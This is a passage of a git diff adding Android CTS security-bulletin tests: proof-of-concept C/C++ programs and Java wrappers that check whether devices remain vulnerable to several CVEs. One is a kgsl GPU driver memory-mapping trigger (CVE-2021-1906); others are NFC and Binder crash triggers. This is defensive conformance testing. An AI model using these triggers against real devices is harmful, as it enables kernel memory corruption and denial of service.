+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2021-0919",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults"
+ ],
+ srcs: [
+ "poc.cpp"
+ ],
+ shared_libs: [
+ "libbinder",
+ "liblog",
+ ],
+ static_libs: [
+ "libutils",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0919/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0919/poc.cpp
new file mode 100644
index 00000000000..8867e00832d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0919/poc.cpp
@@ -0,0 +1,70 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IServiceManager.h>
+#include <dlfcn.h>
+#include <utils/SystemClock.h>
+#include <utils/Timers.h>
+#include "../includes/common.h"
+
+bool isInitialized = false;
+bool isTestInProgress = false;
+int countRetry = 0;
+const int kMaxRetry = 16;
+static nsecs_t (*realSystemTime)(int) = nullptr;
+
+void init() {
+ realSystemTime = (nsecs_t (*)(int))dlsym(RTLD_NEXT, "systemTime");
+ if (!realSystemTime) {
+ return;
+ }
+ isInitialized = true;
+}
+
+nsecs_t systemTime(int clock) {
+ if (!isInitialized) {
+ init();
+ }
+
+ if (isTestInProgress) {
+ // Since the bug can be reproduced only when the device has been
+ // up for about a month, which is not feasible in CTS environment,
+ // we have overloaded systemTime() method and are returning a value
+ // which mimics such condition
+ if (countRetry < kMaxRetry) {
+ ++countRetry;
+ return 1e16;
+ }
+ _exit (EXIT_SUCCESS);
+ }
+
+ // If test is not in progress, we don't want to hinder with
+ // other calls
+ return realSystemTime(clock);
+}
+
+int main() {
+ android::sp < android::IServiceManager > serviceManager =
+ android::defaultServiceManager();
+ FAIL_CHECK(serviceManager);
+
+ android::uptimeMillis();
+ isTestInProgress = true;
+ serviceManager->getService(android::String16("CVE-2019-0919"));
+ isTestInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/Android.bp
new file mode 100644
index 00000000000..9cd2b813f68
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2021-0956",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults"
+ ],
+ srcs: [
+ "poc.cpp"
+ ],
+ shared_libs: [
+ "libnfc_nci_jni",
+ ],
+ header_libs: [
+ "jni_headers"
+ ],
+ include_dirs: [
+ "packages/apps/Nfc/nci/jni",
+ "system/nfc/src/nfa/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/include",
+ "system/nfc/src/gki/ulinux",
+ "system/nfc/src/nfc/include",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/poc.cpp
new file mode 100644
index 00000000000..1d5d5e5f749
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/poc.cpp
@@ -0,0 +1,46 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define private public
+#include "NfcTag.h"
+
+bool isTestInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigabrt_handler(int signum, siginfo_t* info, void* context) {
+ if (isTestInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+int main() {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ NfcTag tag = {};
+ tag.mTechListTail = NfcTag::MAX_NUM_TECHNOLOGY;
+ tag.mNumTechList = NfcTag::MAX_NUM_TECHNOLOGY;
+ tNFA_ACTIVATED activationData = {};
+ isTestInProgress = true;
+ tag.discoverTechnologies(activationData);
+ isTestInProgress = false;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/Android.bp
new file mode 100644
index 00000000000..86e17dc76a8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/Android.bp
@@ -0,0 +1,7 @@
+cc_test {
+ name: "CVE-2021-1906",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.c",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/msm_kgsl.h b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/msm_kgsl.h
new file mode 100644
index 00000000000..9163217f3fb
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/msm_kgsl.h
@@ -0,0 +1,90 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL
+#define KGSL_MEMFLAGS_GPUREADONLY 0x01000000U
+#define KGSL_IOC_TYPE 0x09
+#define KGSL_MEMTYPE_COMMAND 16
+
+enum kgsl_user_mem_type {
+ KGSL_USER_MEM_TYPE_PMEM = 0x00000000,
+ KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001,
+ KGSL_USER_MEM_TYPE_ADDR = 0x00000002,
+ KGSL_USER_MEM_TYPE_ION = 0x00000003,
+ KGSL_USER_MEM_TYPE_DMABUF = 0x00000003,
+ KGSL_USER_MEM_TYPE_MAX = 0x00000007,
+};
+
+struct kgsl_drawctxt_create {
+ unsigned int flags;
+ unsigned int drawctxt_id;
+};
+
+#define IOCTL_KGSL_DRAWCTXT_CREATE \
+ _IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
+
+struct kgsl_map_user_mem {
+ int fd;
+ unsigned long gpuaddr;
+ size_t len;
+ size_t offset;
+ unsigned long hostptr;
+ enum kgsl_user_mem_type memtype;
+ unsigned int flags;
+};
+
+#define IOCTL_KGSL_MAP_USER_MEM \
+ _IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem)
+
+struct kgsl_sharedmem_free {
+ unsigned long gpuaddr;
+};
+
+#define IOCTL_KGSL_SHAREDMEM_FREE \
+ _IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free)
+
+struct kgsl_gpumem_alloc {
+ unsigned long gpuaddr;
+ size_t size;
+ unsigned int flags;
+};
+
+#define IOCTL_KGSL_GPUMEM_ALLOC \
+ _IOWR(KGSL_IOC_TYPE, 0x2f, struct kgsl_gpumem_alloc)
+
+struct kgsl_gpumem_alloc_id {
+ unsigned int id;
+ unsigned int flags;
+ size_t size;
+ size_t mmapsize;
+ unsigned long gpuaddr;
+ unsigned long __pad[2];
+};
+
+#define IOCTL_KGSL_GPUMEM_ALLOC_ID \
+ _IOWR(KGSL_IOC_TYPE, 0x34, struct kgsl_gpumem_alloc_id)
+
+struct kgsl_gpumem_get_info {
+ unsigned long gpuaddr;
+ unsigned int id;
+ unsigned int flags;
+ size_t size;
+ size_t mmapsize;
+ unsigned long useraddr;
+ unsigned long __pad[4];
+};
+
+#define IOCTL_KGSL_GPUMEM_GET_INFO \
+ _IOWR(KGSL_IOC_TYPE, 0x36, struct kgsl_gpumem_get_info)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/poc.c
new file mode 100644
index 00000000000..f8eaee45296
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/poc.c
@@ -0,0 +1,173 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/*
+ * CVE-2021-1906
+ */
+
+#include <fcntl.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#include "../includes/common.h"
+#include "msm_kgsl.h"
+
+static void *code_page_cpu_addr = MAP_FAILED;
+static unsigned long code_page_gpu_addr = 0;
+
+#define int64 int64_t
+#define EXPLOIT_VULN_ADDR 0xdff00000
+
+unsigned int ctx_id = 0;
+
+int gpu_mem_alloc_id(int fd, int size, int flags,
+ struct kgsl_gpumem_alloc_id *alloc) {
+ int ret = -1;
+ alloc->flags = flags;
+ alloc->size = size;
+
+ ret = ioctl(fd, IOCTL_KGSL_GPUMEM_ALLOC_ID, alloc);
+ return ret;
+}
+
+int gpu_sharedmem_free(int fd, unsigned long gpu_addr) {
+ struct kgsl_sharedmem_free addr;
+ int ret = -1;
+ addr.gpuaddr = gpu_addr;
+ ret = ioctl(fd, IOCTL_KGSL_SHAREDMEM_FREE, &addr);
+ return ret;
+}
+
+unsigned long gpu_mem_alloc(int fd, int size, unsigned int flags) {
+ struct kgsl_gpumem_alloc alloc = {0};
+ alloc.size = size;
+ alloc.flags = flags;
+
+ if (ioctl(fd, IOCTL_KGSL_GPUMEM_ALLOC, &alloc) < 0) {
+ return -1;
+ }
+ return alloc.gpuaddr;
+}
+
+int gpu_mem_get_info_from_id(int fd, int id,
+ struct kgsl_gpumem_get_info *info) {
+ int ret = -1;
+ info->id = id;
+ info->gpuaddr = 0;
+ ret = ioctl(fd, IOCTL_KGSL_GPUMEM_GET_INFO, info);
+ return ret;
+}
+
+int kgsl_init() {
+ int kgsl = open("/dev/kgsl-3d0", O_RDWR | O_LARGEFILE);
+ if (kgsl < 0) {
+ return -1;
+ }
+
+ struct kgsl_drawctxt_create ctxc;
+ ctxc.flags = 0x1010D2;
+ ctxc.drawctxt_id = 0;
+ if (ioctl(kgsl, IOCTL_KGSL_DRAWCTXT_CREATE, &ctxc) < 0) {
+ return -1;
+ }
+ ctx_id = ctxc.drawctxt_id;
+ return kgsl;
+}
+
+int gpu_map_user_mem(int fd, uintptr_t addr, size_t size, size_t offset,
+ unsigned int flags, unsigned long *gpu_addr) {
+ struct kgsl_map_user_mem user_mem = {0};
+ int result = 0;
+
+ user_mem.fd = -1;
+ user_mem.gpuaddr = 0;
+ user_mem.len = size;
+ user_mem.offset = offset;
+ user_mem.hostptr = addr;
+ user_mem.flags = flags;
+ user_mem.memtype = KGSL_USER_MEM_TYPE_ADDR;
+
+ result = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &user_mem);
+ if (gpu_addr) {
+ *gpu_addr = user_mem.gpuaddr;
+ }
+ return result;
+}
+
+int create_code_page(int fd, int size, void **cpu_addr,
+ unsigned long *gpu_addr) {
+ struct kgsl_gpumem_alloc_id alloc = {0};
+ struct kgsl_gpumem_get_info info = {0};
+ void *cpu_mapping = MAP_FAILED;
+
+ if (gpu_mem_alloc_id(fd, size,
+ KGSL_MEMFLAGS_USE_CPU_MAP | KGSL_MEMFLAGS_GPUREADONLY |
+ KGSL_MEMTYPE_COMMAND,
+ &alloc) < 0) {
+ return -1;
+ }
+
+ cpu_mapping =
+ mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, alloc.id << 12);
+ if (cpu_mapping == MAP_FAILED) {
+ return -1;
+ }
+
+ if (gpu_mem_get_info_from_id(fd, alloc.id, &info) < 0) {
+ return -1;
+ }
+
+ *cpu_addr = cpu_mapping;
+ *gpu_addr = info.gpuaddr;
+ return 0;
+}
+
+void trigger(int fd, uintptr_t start, uintptr_t end) {
+ void *hostptr = mmap((void *)start, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE,
+ MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
+ mprotect((void *)((uintptr_t)hostptr + PAGE_SIZE), PAGE_SIZE, PROT_NONE);
+
+ gpu_map_user_mem(fd, (uintptr_t)hostptr, end - start, 0,
+ KGSL_MEMFLAGS_USE_CPU_MAP, NULL);
+ munmap(hostptr, 2 * PAGE_SIZE);
+}
+
+int main(void) {
+ int kgsl_fd = kgsl_init();
+ unsigned long gpu_addr = 0;
+ unsigned long next_gpu_addr = 0;
+
+ FAIL_CHECK(!(kgsl_fd < 0));
+
+ if (create_code_page(kgsl_fd, 4 * PAGE_SIZE, &code_page_cpu_addr,
+ &code_page_gpu_addr) < 0) {
+ close(kgsl_fd);
+ return EXIT_FAILURE;
+ }
+
+ next_gpu_addr = gpu_mem_alloc(kgsl_fd, PAGE_SIZE, 0);
+ gpu_sharedmem_free(kgsl_fd, next_gpu_addr);
+ trigger(kgsl_fd, next_gpu_addr, EXPLOIT_VULN_ADDR);
+ gpu_addr = gpu_mem_alloc(kgsl_fd, 0x600000, 0);
+
+ close(kgsl_fd);
+ return (gpu_addr == EXPLOIT_VULN_ADDR) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
new file mode 100644
index 00000000000..0990cd448ec
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
@@ -0,0 +1,36 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2018_9410 extends SecurityTestCase {
+
+ /**
+ * b/77822336
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @AsbSecurityTest(cveBugId = 77822336)
+ @Test
+ public void testPocCVE_2018_9410() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9410", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
new file mode 100644
index 00000000000..bf2b0d1d3f9
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
@@ -0,0 +1,44 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2018_9549 extends SecurityTestCase {
+
+ /**
+ * b/112160868
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @AsbSecurityTest(cveBugId = 112160868)
+ @Test
+ public void testPocCVE_2018_9549() throws Exception {
+ String binaryName = "CVE-2018-9549";
+ String signals[] = {CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ testConfig.config
+ .setAbortMessageIncludes(AdbUtils.escapeRegexSpecialChars("ubsan: mul-overflow"));
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
index e5e6810c8fb..5f0c200d1f4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
@@ -65,8 +65,20 @@ public class CVE_2021_0481 extends BaseHostJUnit4Test {
@AsbSecurityTest(cveBugId = 172939189)
@AppModeFull
public void testRunDeviceTest() throws Exception {
+
+ String cmd;
+
+ //delete a source file just in case AdbUtils.pushResource()
+ //doesn't overwrite existing file
+ cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME;
+ AdbUtils.runCommandLine(cmd, getDevice());
+
+ //push the source file to a device
AdbUtils.pushResource("/" + TEST_FILE_NAME, DEVICE_DIR1 + TEST_FILE_NAME, getDevice());
- String cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
+
+ //delete a destination file which is supposed to be created by a vulnerable device
+ //by coping TEST_FILE_NAME -> TAKE_PICTURE_FILE_NAME
+ cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
AdbUtils.runCommandLine(cmd, getDevice());
installPackage();
@@ -86,11 +98,23 @@ public class CVE_2021_0481 extends BaseHostJUnit4Test {
//run the test
Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testUserPhotoSetUp"));
+ //go to home screen after test
+ getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
+
//Check if TEST_FILE_NAME has been copied by "Evil activity"
//If the file has been copied then it means the vulnerability is active so the test fails.
- cmd = "cmp -s " + DEVICE_DIR1 + TEST_FILE_NAME + " " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME + "; echo $?";
+ cmd = "cmp -s " + DEVICE_DIR1 + TEST_FILE_NAME + " " +
+ DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME + "; echo $?";
String result = AdbUtils.runCommandLine(cmd, getDevice()).trim();
CLog.i(cmd + " -->" + result);
+
+ //Delete files created by this test
+ cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
+ AdbUtils.runCommandLine(cmd, getDevice());
+ cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME;
+ AdbUtils.runCommandLine(cmd, getDevice());
+
+ //final assert
assertThat(result, not(is("0")));
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
new file mode 100644
index 00000000000..8f37185a69d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0490 extends SecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 183464868)
+ @Test
+ public void testPocCVE_2021_0490() throws Exception {
+ AdbUtils.runPocNoOutput("CVE-2021-0490", getDevice(), 60);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
new file mode 100644
index 00000000000..3ae0303371d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0919 extends SecurityTestCase {
+
+ /**
+ * b/197336441
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @AsbSecurityTest(cveBugId = 197336441)
+ @Test
+ public void testPocCVE_2021_0919() throws Exception {
+ pocPusher.only32();
+ String binaryName = "CVE-2021-0919";
+ String signals[] = {CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0922.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0922.java
new file mode 100644
index 00000000000..d8f3ddfa1d3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0922.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0922 extends SecurityTestCase {
+
+ /**
+ * b/195630721
+ */
+ @AsbSecurityTest(cveBugId = 195630721)
+ @Test
+ public void testPocCVE_2021_0922() throws Exception {
+ String packageName = "com.android.managedprovisioning";
+ String queryStr = "dumpsys package " + packageName;
+ String permissions = AdbUtils.runCommandLine(queryStr, getDevice());
+
+ // MANAGE_APP_OPS_MODES permission must be enforced for
+ // package com.android.managedprovisioning
+ assertTrue(permissions.contains("android.permission.MANAGE_APP_OPS_MODES"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java
new file mode 100644
index 00000000000..1e6b91a1451
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.*;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0928 extends BaseHostJUnit4Test {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_0928";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-0928.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 188675581)
+ @AppModeFull
+ public void testRunDeviceTest() throws Exception {
+
+ CLog.i("testRunDeviceTest() start");
+ installPackage();
+
+ // ensure the screen is woken up.
+ // KEYCODE_WAKEUP wakes up the screen
+ // KEYCODE_MENU called twice unlocks the screen (if locked)
+ getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
+ getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
+ getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
+
+ // run the test
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "test"));
+ CLog.i("testRunDeviceTest() end");
+ }
+
+ private void installPackage() throws Exception {
+ installPackage(TEST_APP, new String[0]);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
new file mode 100644
index 00000000000..80fa239bc71
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0956 extends SecurityTestCase {
+
+ /**
+ * b/189942532
+ * Vulnerability Behaviour: SIGABRT in self
+ */
